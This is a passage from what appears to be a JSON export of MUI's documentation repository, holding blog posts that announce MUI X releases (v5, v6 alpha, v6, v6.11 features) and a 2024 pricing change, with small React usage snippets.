trees hold up better as they grow. Reorder by dragging and dropping, wire up inline renaming, and keep identifiers flexible so you can mirror your domain model precisely:\n\n<figure style=\"margin:16px 0;\">\n  <video src=\"https://github.com/user-attachments/assets/a91aa903-611d-43be-a361-9f933d518f55\" autoplay muted loop playsinline controls style=\"width:100%;max-width:960px;border-radius:12px;\"></video>\n  <figcaption style=\"text-align:center;margin-top:8px;\">Scale up without losing your place.</figcaption>\n</figure>\n\n[Rich Tree View guides](/x/react-tree-view/)\n\n## What's next\n\nWe're targeting a v9 stable release by the end of March. After that, we'll invest heavily in customization and rewrite our components on top of [Base UI](https://base-ui.com/) to fully embrace composition, a cleaner slots API, and a more modern developer experience The aim is to make it easier to swap parts without forking, line up with your design tokens, and build complex UIs with less prop-surface ceremony.\n\nIf you rely on deep customization today, now is the perfect time to tell us about your pain points—[your input](https://tally.so/forms/w8X8Po) will shape the plan.\n\nCheers!\n"
  },
  {
    "path": "docs/pages/blog/mui-x-mid-v6-features.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-mid-v6-features.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-mid-v6-features.md",
    "content": "---\ntitle: MUI X v6.11.0. A roundup of all new features\ndescription: Support for time zones, Charts in alpha, Data Grid filtering, and more.\ndate: 2023-08-14T00:00:00.000Z\nauthors: ['richbustos', 'josefreitas']\nmanualCard: true\ntags: ['MUI X', 'Product']\n---\n\n<a href=\"https://github.com/mui/mui-x/releases/tag/v6.11.0\">\n  <img src=\"/static/blog/mui-x-mid-v6-features/intro.png\" alt=\"open release page\" width=\"1384\" height=\"346\" />\n</a>\n\nSince the first v6 stable release, we've continuously rolled out new major features.\nNow that we've reached [MUI X v6.11.0](https://github.com/mui/mui-x/releases/tag/v6.11.0), it's time to delve into the most recent additions to MUI X v6, and why you should get the latest version now.\n\n## Table of contents\n\n- [Date Pickers](#date-pickers)\n  - [Support for time zones](#support-for-time-zones)\n  - [Digital clock](#digital-clock)\n- [Data Grid](#data-grid)\n  - [Filter on column headers](#filter-on-column-headers) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Copy and paste](#copy-and-paste) [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'premium plan')\n- [Charts - alpha version](#charts-alpha-version)\n- [Tree View is moving to MUI X](#tree-view-is-moving-to-mui-x)\n- [Feedback](#feedback)\n\n## Date Pickers\n\n### Support for time zones\n\nNo more hassle displaying dates in the time zones of your choice. 🌎\n\nYou can effortlessly display and select dates and times in different time zones, without worrying about conversion logic or maintaining consistency with your backend.\n\n<video autoplay muted loop width=\"1548\" height=\"628\">\n  <source src=\"/static/blog/mui-x-mid-v6-features/timezone.mp4\" type=\"video/mp4\">\n</video>\n\nSet the `timezone` prop to define which time zone the Date, Time, or DateTime should be displayed in.\n\n```tsx\n<TimePicker\n  value={value}\n  onChange={setValue}\n  timezone=\"Pacific/Honolulu\" // Can be in any timezone of your choice\n  label={'Rendered in \"Pacific/Honolulu\"'}\n/>\n```\n\nCheck the [full instructions](https://mui.com/x/react-date-pickers/timezone/) for more information on using this feature in your application.\n\n### Digital clock\n\nThe digital clock is an alternative to the Time Pickers' [analog clock](https://mui.com/x/react-date-pickers/time-clock/).\nThe original proposal was mainly focused on mobile devices, whereas the new interface is designed for a desktop experience for better time precision.\nThis new addition makes our Date Pickers even more versatile and user-friendly than before.\nIt's available as the default variant for desktops on both the [Time Picker](https://mui.com/x/react-date-pickers/time-picker/) and the [Date Time Picker](https://mui.com/x/react-date-pickers/date-time-picker/).\n\n<video autoplay muted loop width=\"1588\" height=\"760\">\n  <source src=\"/static/blog/mui-x-mid-v6-features/digital_clock.mov\" type=\"video/mp4\">\n</video>\n\nCheck out all the possibilities in the [Date Pickers—Digital clock documentation](https://mui.com/x/react-date-pickers/digital-clock/), and let us know your thoughts!\n\n## Data Grid\n\n### Filter on column headers [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nFiltering on column headers gives users the ability to quickly filter data without any additional menu.\nUse the `unstable_headerFilters` prop to activate this feature.\n\nThe new filter fields are displayed below the headers, and are synchronized with the filter panel.\nIf you prefer more simplicity, you can disable the default filter panel using the `disableColumnFilter` prop, and set filters to use only the default operator.\n\n<video autoplay muted loop playsinline width=\"832\" height=\"418\">\n  <source src=\"/static/blog/mui-x-mid-v6-features/header_filter.mp4\" type=\"video/mp4\">\n</video>\n\nFor more details on how to use and customize the filters, check out its [documentation page](https://mui.com/x/react-data-grid/filtering/header-filters/).\n\n### Copy and paste [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'premium plan')\n\nAfter setting the `experimentalFeatures={{ clipboardPaste: true }}` prop, you can copy and paste data directly to and from your Data Grid.\n\nThis new feature is extremely versatile, and you can exchange data from other fields, other grids, and even directly to and from the spreadsheet tool of your choice.\n\n<video autoplay muted loop playsinline width=\"1642\" height=\"1136\">\n  <source src=\"/static/blog/mui-x-mid-v6-features/copy_paste.mov\" type=\"video/mp4\">\n</video>\n\nThis feature is integrated with the editing API, so pasted data can be persisted using the `processRowUpdate` prop to update your data source through your usual editing validation process.\nThe callbacks `clipboardPasteStart` and `clipboardPasteEnd` are fired during the clipboard paste operation, which can be useful for extra customizations around the event.\n\nFor more details on how to use clipboard copy and paste, check out the [Data Grid—Clipboard documentation](https://mui.com/x/react-data-grid/clipboard/).\n\n## Charts - alpha version\n\nWe are delighted to announce the upcoming expansion of MUI X: a brand-new suite of components for building and customizing charts.\n\nWith MUI X Charts, you can choose from a wide range of chart types, including line charts, bar charts, pie charts, area charts, scatter plots, and more.\nEach chart type is thoughtfully crafted with attention to detail, ensuring that the visual representations are not only aesthetically pleasing, but also highly effective in conveying complex data.\n\nAnd it ships with gorgeous palettes that were specially crafted by our designers!\n\nCheck out the video below, highlighting some of our Charts:\n\n<video autoplay muted loop playsinline width=\"1432\" height=\"1080\">\n  <source src=\"/static/blog/mui-x-mid-v6-features/charts_final_v1.mov\" type=\"video/mp4\">\n</video>\n\nAs we progress toward the stable version, we're committed to enhancing the overall experience for developers and users, so your feedback is fundamental!\n\nWe will also steadily expand our portfolio with new chart types such as [Heatmap](https://mui.com/x/react-charts/heatmap/), [Funnel](https://mui.com/x/react-charts/funnel/), [Gantt](https://mui.com/x/react-charts/gantt/), and more.\nIf there's a specific chart visualization you'd like us to prioritize, we encourage you to upvote the respective [issue on GitHub](https://github.com/mui/mui-x/issues?q=is%3Aissue+is%3Aopen+label%3A%22component%3A+charts%22+label%3A%22waiting+for+%F0%9F%91%8D%22).\nYour input can directly influence our development schedule, so don't hesitate to let us know what matters most to you!\n\n[Get started with charts now!](https://mui.com/x/react-charts/)\n\n## Tree View is moving to MUI X\n\nTree View is being migrated from the [lab](https://mui.com/material-ui/about-the-lab/) to MUI X, it will soon have a first Alpha release!\n\nThe Tree View is a component that represents hierarchical in a tree-like format.\nThink of a file system navigator displaying folders and files or a navigation list.\n\n<video autoplay muted loop playsinline width=\"1500\" height=\"554\">\n  <source src=\"/static/blog/mui-x-mid-v6-features/treeview.mov\" type=\"video/mp4\">\n</video>\n\nKeep on the look out on our next blog for the Tree View migration.\n\nWe decided to migrate this component to MUI X as there are still many features that would be great to build (for example checkbox, drag & drop, virtualization) and it's usually not a significant component of a design system.\nHead to [MUI Core vs. MUI X](https://mui-org.notion.site/X-FAQ-c33e9a7eabba4da1ad7f8c04f99044cc) if you would like to learn more about this decision.\n\n## Feedback\n\nWe are always happy to get feedback, so if you'd like to share your pain points and use cases, please leave your contact info with us through [this Google Form](https://forms.gle/vsBv6CLPz9h57xg8A).\nAs usual, you're welcome to request new features, report bugs and join the discussion in MUI X [GitHub repository](https://github.com/mui/mui-x/issues).\nCheers!\n"
  },
  {
    "path": "docs/pages/blog/mui-x-sep-2024-price-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-sep-2024-price-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-sep-2024-price-update.md",
    "content": "---\ntitle: Upcoming changes to MUI X pricing in 2024\ndescription: Check out the new pricing updates and how to transition to the new model.\ndate: 2024-08-01T08:00:00.000Z\nauthors: ['josefreitas', 'oliviertassinari']\ntags: ['MUI X', 'Product']\nmanualCard: false\n---\n\nToday, we are sharing some important updates to the MUI X product offerings and pricing structure.\nThese changes are made to reflect the expanded feature set and help support the delivering of high-quality components to you and your users.\n\n## Changes to the Pro plan\n\n### Current pricing\n\nUnder the current pricing model, you only purchase a license for the first 10 developers.\nSo to license the Pro plan for 50 developers you would purchase 10 licenses.\nThis concept was introduced in the very beginning of the MUI X offering (2021) when we offered only the Data Grid Pro with a small feature set.\n\nSince the release of this component, we launched several new components and features, including [Date and Time Range Pickers](/x/react-date-pickers/date-time-range-picker/).\n\n### New pricing\n\nWe will soon release the first Pro features of the [Charts](/x/react-charts/) and [Tree View](/x/react-tree-view/).\nThese new features will only be available under the updated pricing: moving forward, each developer requires a license. So, for example, 50 developers will need 50 licenses.\n\n<img src=\"/static/blog/mui-x-sep-2024-price-update/compare.png\" width=\"1086\" height=\"646\" loading=\"lazy\" alt=\"\" style=\"border: 0; width: 543px;\" />\n\n### Grandfathering current customers\n\nWe value our loyal customers and want to ensure a smooth transition: current customers will be grandfathered into their existing plans.\n\nThis means you will be able to renew your licenses or purchase additional ones under the legacy plan for as long as you wish.\nHowever, the legacy pricing only covers the previously released components: Data Grid and Date Pickers.\n\n:::info\n**Access to new components:** The Pro versions of Charts and Tree View, and other future Pro components, will be available exclusively through the new Pro plan model or a Premium plan (Premium customers will experience no change, all Pro components are included).\n::::\n\n### Pricing for small teams\n\nThe price is the same for customers with 10 developers or fewer.\nActually, we are making this pricing change to be able to keep the price affordable for small teams.\n\nHowever, if you want to use the new features, you will need a new license key to use the Pro versions of Charts or Tree View.\nYou can [contact](https://support.mui.com/hc/en-us/requests/new) our support team to receive a new license key.\n\n### Larger teams\n\nWe're happy to discuss volume discounts to accommodate larger teams.\n\n## Changes to the Premium plan\n\n### New Pro components\n\nWe will soon release the first Pro features of the [Charts](/x/react-charts/) and [Tree View](/x/react-tree-view/).\nThese features will be available to all Premium customers without any further action needed.\n\n### Ending the early bird discount\n\nAfter two years since the [introduction of our Premium plan](/blog/premium-plan-release/), we've added numerous features and are on the verge of releasing the Pivot mode for the Data Grid.\nWe consider the product mature and battle-tested enough and as a result, the early bird discount for the Premium plan finally reaches its end.\n\n### Large discount for current customers\n\nHowever, we want to ensure that our valued early customers continue to enjoy the benefits of an earlier purchase.\nCurrent customers will still benefit from a 20% renewal discount (vs. 25% early bird discount before).\n\nThis means you will be able to renew your licenses or purchase additional licenses at a 7% price increase while gaining access to new features.\nYou'll receive the discount via email, or you can also request it by contacting our [sales team](mailto:sales@mui.com).\n\n## Effective date\n\nThe new pricing updates will take effect on September 1st, 2024.\n\n## We value your feedback\n\nYour feedback is invaluable to us.\nWe invite you to share your thoughts and any questions you might have about these changes.\nPlease feel free to contact our [sales team](mailto:sales@mui.com).\nWe are here to listen and ensure that our updates meet your needs and expectations.\n\nThank you for your continued support and for being a part of the MUI community. We look forward to bringing you even more powerful tools and features to help you succeed.\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v5.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-v5.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v5.md",
    "content": "---\ntitle: Introducing MUI X v5\ndescription: We are excited to introduce MUI X v5.0.0!\ndate: 2021-11-22T00:00:00.000Z\nauthors:\n  ['oliviertassinari', 'm4theushw', 'flaviendelangle', 'DanailH', 'alexfauquette']\nmanualCard: true\ntags: ['MUI X', 'Product']\n---\n\nWe are excited to introduce [MUI X v5.0.0](https://github.com/mui/mui-x/releases/tag/v5.0.0)!\n\n[MUI X](/x/) is our collection of advanced components (with both MIT and commercially licensed \"Pro\" features).\nCurrently, it only includes a data grid.\nSoon it will include more components like date picker and tree view.\nThis release continues our focus on making the data grid the best in the industry.\nRead on to learn more!\n\n<img src=\"/static/blog/mui-x-v5/card.png\" alt=\"\" width=\"2400\" height=\"1256\" />\n\nThis release features some major highlights:\n\n- [High-level goals for v5](#a-new-virtualization-engine)\n- [A new virtualization engine](#a-new-virtualization-engine)\n- [Improved state management](#improved-state-management)\n  - [Improved DX when using the state](#improved-dx-when-using-the-state)\n  - [Synchronous state initialization](#synchronous-state-initialization)\n- [Simplified style customization](#simplified-style-customization)\n  - [Limitations](#limitations)\n- [v4 migration](#v4-migration)\n- [What's next?](#whats-next)\n  - [Public roadmap](#public-roadmap)\n- [Thank you](#thank-you)\n\n## High-level goals for v5\n\nWe develop different React components in two areas: [MUI Core](/core/) and [MUI X](/x/).\nThis approach recognizes that the problems solved by the components in these two products are different.\nThe paths to success require different strategies.\nMany of the developers using MUI X also use Material UI, Base UI, and MUI System, these users care a lot about consistency (design, docs, dependencies, etc.).\n\nWith the [release of MUI Core v5](/blog/mui-core-v5/) two months ago MUI X had to work on providing a cohesive experience.\nThe primary objective of this new major is to have MUI X provide a great **compatibility with MUI Core v5**.\n\n## A new virtualization engine\n\n`DataGrid` and `DataGridPro` now feature a brand-new virtualization engine!\nWe decided to rewrite it to address the many issues raised by the community and to make it easier to release new features that impact the rendering of rows and columns.\nAn advantage over the previous version is that we now use the native scroll.\nThis means that scrolling the grid is like scrolling a webpage,\nso any jittering caused when the scroll is overridden is gone.\n\nTalking about performance, one of the main problems we had was that scrolling horizontally was laggy compared to vertical scrolling.\nAfter investigation we found that, although the columns were virtualized, a lot of unnecessary renders were occurring.\nThis can be seen in the top part of the screenshot below, where it compares `v5.0.0-beta.4` (the last version before the new virtualization engine) with `v5.0.0`.\nOn each scroll event it renders again, and each frame takes a long time to be drawn (some are even lost).\nTo address these problems, we took the following actions:\n\n- Avoid rendering the entire grid during scroll.\n- Pass the correct value to the `key` prop to ensure that React will reuse the existing DOM nodes.\n- Reduced the number of event listeners attached to each cell.\n- Increased the number of columns rendered in the overscan (the extra columns rendered to make scroll smoother).\n- Delay the rendering of new columns whenever possible.\n\nThe result of these changes is shown in the bottom part of the comparison.\nThe number of frames that could be drawn in the same amount of time dramatically increased, compared to the previous virtualization approach.\nIn our [benchmark](https://github.com/mui/mui-x/pull/2673), the FPS (frames per second) went from 22 to 42, on average.\nThe time each frame takes to be rendered, indicated by the width of each block, was reduced.\n\nThe idea of delaying the re-rendering also can be seen in the large voids between the blocks.\nEach void means that a re-render was not necessary since the required columns were already rendered by the overscan.\n\n<img src=\"/static/blog/mui-x-v5/performance.png\" alt=\"Performance comparison between v5.0.0-beta.4 and v5.0.0\" loading=\"lazy\" width=\"1920\" height=\"860\" />\n\nSome of the mentioned improvements were also applied to the rows, however the gains were more subtle.\nBesides the better performance, the new virtualization engine also brings the following fixes:\n\n- Horizontal and vertical scroll share the same logic.\n- No more jumps when changing the rendered rows.\n- Calling `apiRef.current.scrollToIndexes` works no matter where the cell is.\n- Improved support for when `disableVirtualization` is used.\n- Fixes keyboard navigation with arrow keys.\n\n## Improved state management\n\nSeveral enhancements were made to state management to improve developer experience, performance, and consistency in the execution order.\n\n### Improved DX when using the state\n\nWe have worked on simplifying the state structure and the tools to access it.\nThese changes improved the developer experience when using the `apiRef` methods:\n\n- We removed the `state` structure from the public API. Access to data in the state should always be done through `apiRef` methods (`apiRef.current.getSelectedRows`) or selectors (`selectedGridRowsSelector`).\n- We renamed most selectors to have a consistent naming convention, making it easier to deduce their name or infer purpose.\n- We restructured our state so that each feature has a single sub-state, and the feature hook is the only one to update it (for example `state.filter` is only managed by the `useGridFilter` hook, which exposes methods for both internal and 3rd party code to interact with this state).\n\nThe work on this topic isn't over. We have several developments in progress or under discussion to improve the developer experience when using the advanced features of the grid.\nHere are a few that should be release in the following months:\n\n- Strict typing of event listeners and publishers.\n- Examples for the event listeners.\n- Documentation and examples for selectors.\n- Add the ability to export and restore some parts of the grid state.\n\n### Synchronous state initialization\n\nIn previous versions, the state was first populated with default values, and then in a `useEffect`, given the values provided as props (`props.pageSize` for instance), or derived from the props (the sorted and filtered rows derived from the `props.rows`, `props.sortModel` and `props.filterModel`).\nThis was causing an additional render with useless data, and then we had to be careful to avoid flickering between the fake and real data.\nIn v5, the state is initialized synchronously during the first render.\n\nNote that for now, the state updates coming from controlled props are still asynchronous.\nIf you pass `props.pageSize`, we will apply it to the state in a `useEffect`, and therefore if you read the state just after the render (for instance in a `useLayoutEffect`), you will still see the old version.\n\n## Simplified style customization\n\nIn previous versions, most of the built-in CSS of the `DataGrid` and `DataGridPro` components had a [CSS specificity](https://web.dev/learn/css/specificity/) of 2.\nThis means that the CSS you would normally add would have less priority than the built-in CSS of the data grid.\nThis was requiring you to open your dev tools, look at the DOM/CSSOM tree in order to use the correct CSS selector.\nWith MUI X v5 we have reduced the CSS specificity of most of the internal `DataGrid` and `DataGridPro` components to 1.\nThis enables developers to more easily change the look and feel of the grid's components.\n\n**Before**\n\n```jsx\nconst GridToolbarContainerStyled = styled(GridToolbarContainer)({\n  '&.MuiDataGrid-toolbarContainer': {\n    padding: 40,\n  },\n});\n\nfunction MyCustomToolbar() {\n  return <GridToolbarContainerStyled>My custom toolbar</GridToolbarContainerStyled>;\n}\n\nexport default function App() {\n  return (\n    <div style={{ height: 400, width: '100%' }}>\n      <DataGrid components={{ Toolbar: MyCustomToolbar }} />\n    </div>\n  );\n}\n```\n\n**After**\n\n```jsx\nconst GridToolbarContainerStyled = styled(GridToolbarContainer)({\n  padding: 40,\n});\n\nfunction MyCustomToolbar() {\n  return (\n    <GridToolbarContainerStyled>\n      My custom toolbar\n    </GridToolbarContainer>\n  );\n};\n\nexport default function App() {\n  return (\n    <div style={{ height: 400, width: '100%' }}>\n      <DataGrid components={{ Toolbar: MyCustomToolbar }} />\n    </div>\n  );\n}\n```\n\nAnother way to customize this will be to use the `sx` prop.\n\n```jsx\nfunction MyCustomToolbar() {\n  // means \"padding: theme.spacing(5)\", NOT \"5px\"\n  return (\n    <GridToolbarContainer sx={{ p: 5 }}>My custom toolbar</GridToolbarContainer>\n  );\n}\n\nexport default function App() {\n  return (\n    <div style={{ height: 400, width: '100%' }}>\n      <DataGrid components={{ Toolbar: MyCustomToolbar }} />\n    </div>\n  );\n}\n```\n\n### Limitations\n\nAlthough this was a clear improvement, we still had to keep a CSS specificity of 2 for some parts of the `DataGrid` and `DataGridPro`, specifically the `GridColumnHeaderItem`, `GridRow` and `GridCell` along with all of the components that are nested in them.\nThis is due to performance implications related to how [Emotion](https://emotion.sh/docs/introduction) injects styles into the page,\nand was necessary to keep the performance of our virtualization engine at its optimal.\n\n## v4 migration\n\nWe strongly recommend you migrate MUI X to v5.\nIn MUI X v5 we have not only added additional features but also made significant internal improvements and performance optimizations that won't be included in v4.\nAll-new `DataGrid` and `DataGridPro` features will be only available in MUI X v5.\n\nPlease check [the v4 migration guide](/x/migration/migration-data-grid-v4/) to accelerate the transition.\n\n## What's next?\n\nMore exciting things are coming! We have big plans for the rest of this quarter in terms of features we expect to release in both the `DataGrid` and `DataGridPro` components.\nFeatures such as **[tree data](/x/react-data-grid/tree-data/)**, **[column pinning](/x/react-data-grid/column-pinning/)**, and **[variable row height](https://github.com/mui/mui-x/issues/438)** are part of our roadmap.\n\n### Public roadmap\n\nAs a general rule, the data grid is the cornerstone of any application manipulating large amounts of data.\nWe plan to focus on it as long as necessary to deliver most of the advanced features.\n\nOnce we would have grown the team and made enough progress, we will expand to more components.\n\nYou can view our [public roadmap](https://github.com/orgs/mui/projects/35) on GitHub to learn about what features we're working on, what stage they're at, and when we expect to bring them to you.\n\n## Thank you\n\nFinally, one last thank you to everyone who's contributed to MUI X v5.\nWe're very excited about this release, and we'll continue to push forward and deliver the next generation of Enterprise React UI components!\nIt's just the beginning.\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v6-alpha-zero.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-v6-alpha-zero.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v6-alpha-zero.md",
    "content": "---\ntitle: A major update is coming for MUI X—and you can get involved\ndescription: Let us know what you want to see in MUI X v6 as we begin the alpha phase of development.\ndate: 2022-09-30T00:00:00.000Z\nauthors: ['josefreitas']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\nWe're kicking off the development of [MUI X v6](https://github.com/mui/mui-x/releases/tag/v6.0.0-alpha.0).\nBoth the Data Grid and the Date and Time Pickers will get a new major version.\nWe want to share our plans and invite you to join us on this next step.\n\n:::warning\nIt's important to note that only MUI X is getting a new version—MUI Core (including Material UI) will remain in v5 for now.\nYou can rest assured that all MUI X v6 components will be fully compatible with MUI Core v5.\n::::\n\n## What's the plan to get to a stable release?\n\nBefore officially releasing v6, we'll go through a few months with pre-releases.\nWe'll follow the current weekly release process and [semver versioning](https://semver.org/); the difference now is that instead of v5, we'll ship v6 pre-release packages.\n\nFirst, in the alpha phase, we'll introduce all the breaking changes planned for this major.\nWe'll be exploring a bit, so it's expected that some APIs will be unstable—not in terms of functionality, but we may need to rename or adjust parameters.\nThis phase is planned to take about two months.\n\nNext comes the beta phase, where the APIs will be more stable, and we'll focus on fixing bugs and polishing the hard edges.\nThis phase is planned to take about one month.\n\n:::info\nDisclaimer: This timeline—2 months in alpha, 1 month in beta—is purely for reference.\n\nWe operate in a dynamic environment that's subject to change, and the actual timeline could vary.\nWe may need to do more iterations in the interest of delivering the best possible product.\n:::\n\nFinally, we'll release the first `v6.0.0` stable, and we'll continue improving the components and adding features, but without making any new breaking changes until the next major version.\nWe hope to reach the stable release by the end of 2022.\nWe're establishing a one-year cycle for major versions, meaning the next major will arrive about one year after this release.\n\n## What happens to v5?\n\nDuring v6 pre-releases, v5 will continue to be the official current major, and it will remain supported during this time.\nHowever, we will only release new v5 versions as needed to patch bugs or add community contributions.\n\nAll new features and enhancements will go to v6, and after its first stable release, v5 will officially transition to [long-term support](https://mui.com/x/introduction/support/#long-term-support-lts) status.\n\n## Where's the v6 documentation?\n\nAs mentioned above, v5 is still the official version, so by default, the documentation shows v5 features and API.\nThe next version's documentation is in the `next` subdomain.\n\n- [https://next.mui.com/x/react-data-grid/](https://next.mui.com/x/react-data-grid/)\n- [https://next.mui.com/x/react-date-pickers/](https://next.mui.com/x/react-date-pickers/)\n\n## What's coming next?\n\nThe following is a list of enhancements in the pipeline for v6.\nIt contains the highlights that will be included in the first versions.\n\n### Data Grid\n\n- **Extended customization abilities**.\\\n  We want to empower more users to employ the Data Grid for complex use cases.\n  - [ApiRef in the community package](https://github.com/mui/mui-x/issues/6147).\n  - [Filtering on header](https://github.com/mui/mui-x/issues/6247).\n  - [Use the Data Grid internal components outside the grid](https://github.com/mui/mui-x/issues/2522).\n\n- **Improved look & feel**\\\n  We're polishing edges in terms of design and usability.\n  - [New column menu](https://github.com/mui/mui-x/issues/4929).\n  - [New column visibility panel](https://github.com/mui/mui-x/issues/5700).\n  - [Column resize bar only on hover](https://github.com/mui/mui-x/issues/1623).\n\n- **Rockstar feature**\n  - [Copy and paste from/to multiple cells](https://github.com/mui/mui-x/issues/199).\n\n### Date and Time Pickers\n\n- **Improved UX**\\\n  In the previous version we focused on developer experience and overall stability of the components.\n  Now we're tackling ways to improve usability.\n  - [Remove the clock view on time pickers (for desktop)](https://github.com/mui/mui-x/issues/4483).\n  - [Visually edit a range by dragging date markers](https://github.com/mui/mui-x/issues/5311).\n  - [Range shortcuts](https://github.com/mui/mui-x/issues/4563).\n  - [A new text input for date and time values, retiring the mask solution (early preview)](https://next.mui.com/x/react-date-pickers/date-field/).\n\n- **Improved Customization**\\\n  v6 will be packed with new customization abilities and support for new use cases.\n  - [The new fields are based on a headless approach with custom hooks. (Documentation is coming soon)](https://next.mui.com/x/react-date-pickers/date-field/#headless-usage).\n  - [Single Input for Date Range](https://github.com/mui/mui-x/issues/5193).\n  - [Enable customization through component slots on every component](https://github.com/mui/mui-x/issues/4466).\n\n:::info\nYou can check our [roadmap](https://github.com/orgs/mui/projects/35) for the full live list.\n:::\n\n## How to migrate?\n\nWe've prepared a [migration guide](https://deploy-preview-6235--material-ui-x.netlify.app/x/react-data-grid/migration-v5/), and we'll continuously update it as we make any breaking changes during the pre-releases.\nIt lists every update you need to make to your code to use the most recent packages.\n\nWe highly encourage you to try the new version.\nIt is, after all, an improvement over the solid foundation we established with v5.\n\n## How to get involved?\n\nPlease consider joining our alpha testers group channel and [connecting with us](https://forms.gle/vsBv6CLPz9h57xg8A) for a user interview.\nYou'll get an insider's perspective on the development, and you'll be able to help us iterate early on the new features.\n\nAs always, we're happy to get your feedback.\nYou can participate in the discussion by commenting on new features or reporting bugs in our [GitHub repository](https://github.com/mui/mui-x/issues/new/choose).\nFinally, you can follow every step of the development through our [changelog](https://github.com/mui/mui-x/releases).\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v6.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-v6.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v6.md",
    "content": "---\ntitle: Introducing MUI X v6\ndescription: Introducing the new major version of the advanced components.\ndate: 2023-03-06T00:00:00.000Z\nauthors: ['josefreitas']\nmanualCard: true\ntags: ['MUI X', 'Product']\n---\n\n<img src=\"/static/blog/mui-x-v6/card.png\" alt=\"\" width=\"2560\" height=\"1280\" />\n\n[MUI X v6.0.0](https://github.com/mui/mui-x/releases/tag/v6.0.0) is finally here with many improvements, new features, customization abilities, and a more robust foundation to accommodate the changes we want to deliver next.\n\n## Table of contents\n\n- [Data Grid - feature highlights ✨](#data-grid-features-highlights-✨)\n  - [ApiRef moved to the MIT (Community) version](#apiref-moved-to-the-mit-community-version)\n  - [Improved column menu](#improved-column-menu)\n  - [Row pinning is now stable](#row-pinning-is-now-stable) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Aggregation is now stable](#aggregation-is-now-stable) <a title=\"Premium plan\" href=\"/x/introduction/licensing/#premium-plan\"><span class=\"plan-premim\"></span></a>\n  - [Cell selection](#cell-selection) <a title=\"Premium plan\" href=\"/x/introduction/licensing/#premium-plan\"><span class=\"plan-premim\"></span></a>\n  - [Use web workers to export data to excel files](#use-web-workers-to-export-data-to-excel-files) <a title=\"Premium plan\" href=\"/x/introduction/licensing/#premium-plan\"><span class=\"plan-premim\"></span></a>\n- [Date and Time Pickers - feature highlights ✨](#date-and-time-pickers-features-highlights-✨)\n  - [Fields: the new default \\<input\\> for pickers](#fields-the-new-default-input-for-pickers)\n  - [Improved layout customization](#improved-layout-customization)\n  - [Overhaul in the documentation](#overhaul-in-the-documentation)\n  - [Removed clock view on desktop Time Pickers](#removed-clock-view-on-desktop-time-pickers)\n  - [Shortcuts for picking specific dates in a calendar](#shortcuts-for-picking-specific-dates-in-a-calendar) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Edit date ranges with drag and drop](#edit-date-ranges-with-drag-and-drop) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [Installation and migration](#installation-and-migration)\n- [What's next](#whats-next)\n- [Decoupling versions from MUI Core](#decoupling-versions-from-mui-core)\n- [Feedback](#feedback)\n\n## Data Grid - features highlights ✨\n\n### ApiRef moved to the MIT (Community) version\n\nManage pagination, scrolling, state, and other attributes through the Data Grid's API object—previously only in commercial plans, now available to all users.\nThe `apiRef` enables developers to implement a whole new range of customizations that rely on programmatic control of the Grid's features.\n\n```tsx\nfunction CustomDataGrid(props) {\n  const apiRef = useGridApiRef();\n\n  return (\n    <div>\n      <Button onClick={() => apiRef.current.setPage(0)}>\n        Go to page first page\n      </Button>\n      <DataGrid apiRef={apiRef} {...other} />\n    </div>\n  );\n}\n```\n\nSee the [apiRef reference documentation](/x/react-data-grid/api-object/) for more details.\n\nThis is the first feature we ever move from the Pro plan to be MIT licensed.\nWe identified that this feature in the Pro plan was going against our objectives.\nOur goal is for MUI X data grid to become the best grid for React developers, when compared to other standalone open-source grid.\nTo do such, developers need to have access to all the primitives required to customize it.\n\nAnd if you want to understand more about our view of the open-source/commercial balance, check our [Stewardship page](https://mui-org.notion.site/Stewardship-542a2226043d4f4a96dfb429d16cf5bd).\n\n### Improved column menu\n\nAnother significant step in terms of customization but also usability; the v6 [column menu](/x/react-data-grid/column-menu/) now provides support for icons, menu groups, custom items and actions, and more.\nWe've redesigned this subcomponent to make it as extensible as possible.\n\n<a href=\"/x/react-data-grid/column-menu/\">\n<img src=\"/static/blog/mui-x-v6/column-menu-custom-action.png\" loading=\"lazy\" alt=\"Column menu custom action\" width=\"1636\" height=\"808\" />\n</a>\n\n<p class=\"blog-description\">A demo of the column menu when open and with one item hovered.</p>\n\nThis improvement is part of an overarching effort throughout the life cycle of v6 to refactor all Data Grid panels.\n\n### Row pinning is now stable [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n[Row pinning](/x/react-data-grid/row-pinning/) was previously released in a minor v5 version under the `experimentalFeatures={{ rowPinning: true }}` flag.\nThe API is now stable, thanks to the community for trying it out and reporting 